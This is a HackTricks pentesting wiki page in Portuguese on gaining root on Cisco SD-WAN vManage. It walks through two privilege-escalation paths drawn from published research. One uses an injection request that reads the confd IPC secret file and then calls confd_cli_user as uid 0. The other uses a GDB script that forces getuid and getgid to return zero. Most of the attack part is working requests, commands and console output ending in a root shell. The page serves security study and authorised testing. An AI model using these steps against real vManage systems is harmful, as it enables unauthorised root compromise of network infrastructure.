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https://github.com/carlospolop/hacktricks
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173 lines
8.8 KiB
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173 lines
8.8 KiB
Markdown
# Cisco - vmanage
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Path 1
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(Exemplo de [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
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Após investigar um pouco através de alguma [documentação](http://66.218.245.39/doc/html/rn03re18.html) relacionada ao `confd` e os diferentes binários (acessíveis com uma conta no site da Cisco), descobrimos que para autenticar o socket IPC, ele usa um segredo localizado em `/etc/confd/confd_ipc_secret`:
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```
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vmanage:~$ ls -al /etc/confd/confd_ipc_secret
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-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
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```
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Lembre-se da nossa instância Neo4j? Ela está rodando sob os privilégios do usuário `vmanage`, permitindo-nos recuperar o arquivo usando a vulnerabilidade anterior:
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```
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GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
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Host: vmanage-XXXXXX.viptela.net
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[...]
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"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
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```
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O programa `confd_cli` não suporta argumentos de linha de comando, mas chama `/usr/bin/confd_cli_user` com argumentos. Portanto, poderíamos chamar diretamente `/usr/bin/confd_cli_user` com nosso próprio conjunto de argumentos. No entanto, não é legível com nossos privilégios atuais, então temos que recuperá-lo do rootfs e copiá-lo usando scp, ler a ajuda e usá-lo para obter o shell:
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```
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vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
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vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
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vManage:~$ /tmp/confd_cli_user -U 0 -G 0
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Welcome to Viptela CLI
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admin connected from 127.0.0.1 using console on vManage
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vManage# vshell
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vManage:~# id
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uid=0(root) gid=0(root) groups=0(root)
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```
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## Path 2
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(Exemplo de [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
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O blog¹ da equipe synacktiv descreveu uma maneira elegante de obter um shell root, mas a desvantagem é que requer obter uma cópia do `/usr/bin/confd_cli_user`, que é legível apenas pelo root. Eu encontrei outra maneira de escalar para root sem esse incômodo.
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Quando desmontei o binário `/usr/bin/confd_cli`, observei o seguinte:
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```
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vmanage:~$ objdump -d /usr/bin/confd_cli
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… snipped …
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40165c: 48 89 c3 mov %rax,%rbx
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40165f: bf 1c 31 40 00 mov $0x40311c,%edi
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401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
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401669: 49 89 c4 mov %rax,%r12
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40166c: 48 85 db test %rbx,%rbx
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40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
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401674: 48 0f 44 d8 cmove %rax,%rbx
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401678: 4d 85 e4 test %r12,%r12
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40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
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401680: 4c 0f 44 e0 cmove %rax,%r12
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401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE
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401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
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40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE
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401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
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40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
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4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
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4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
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4016ac: 48 85 c0 test %rax,%rax
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4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
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4016b5: ba ff 03 00 00 mov $0x3ff,%edx
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4016ba: 48 89 c6 mov %rax,%rsi
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4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
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4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
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… snipped …
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```
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Quando eu executo “ps aux”, observei o seguinte (_note -g 100 -u 107_)
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```
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vmanage:~$ ps aux
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… snipped …
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root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
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… snipped …
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```
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Eu hipotetizei que o programa “confd\_cli” passa o ID do usuário e o ID do grupo que coletou do usuário logado para o aplicativo “cmdptywrapper”.
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Minha primeira tentativa foi executar o “cmdptywrapper” diretamente e fornecê-lo com `-g 0 -u 0`, mas falhou. Parece que um descritor de arquivo (-i 1015) foi criado em algum lugar ao longo do caminho e não consigo falsificá-lo.
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Como mencionado no blog da synacktiv (último exemplo), o programa `confd_cli` não suporta argumentos de linha de comando, mas posso influenciá-lo com um depurador e, felizmente, o GDB está incluído no sistema.
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Eu criei um script GDB onde forcei a API `getuid` e `getgid` a retornar 0. Como já tenho privilégio “vmanage” através da RCE de desserialização, tenho permissão para ler o `/etc/confd/confd_ipc_secret` diretamente.
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root.gdb:
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```
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set environment USER=root
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define root
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finish
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set $rax=0
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continue
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end
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break getuid
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commands
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root
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end
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break getgid
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commands
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root
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end
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run
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```
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Saída do Console:
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```
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vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
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GNU gdb (GDB) 8.0.1
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Copyright (C) 2017 Free Software Foundation, Inc.
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License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
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This is free software: you are free to change and redistribute it.
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There is NO WARRANTY, to the extent permitted by law. Type "show copying"
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and "show warranty" for details.
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This GDB was configured as "x86_64-poky-linux".
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Type "show configuration" for configuration details.
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For bug reporting instructions, please see:
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<http://www.gnu.org/software/gdb/bugs/>.
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Find the GDB manual and other documentation resources online at:
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<http://www.gnu.org/software/gdb/documentation/>.
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For help, type "help".
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Type "apropos word" to search for commands related to "word"...
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Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
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Breakpoint 1 at 0x400f40
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Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
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59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
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0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
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59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
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0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
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59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
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0x0000000000401871 in ?? ()
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Welcome to Viptela CLI
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root connected from 127.0.0.1 using console on vmanage
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vmanage# vshell
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bash-4.4# whoami ; id
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root
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uid=0(root) gid=0(root) groups=0(root)
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bash-4.4#
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```
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Suporte ao HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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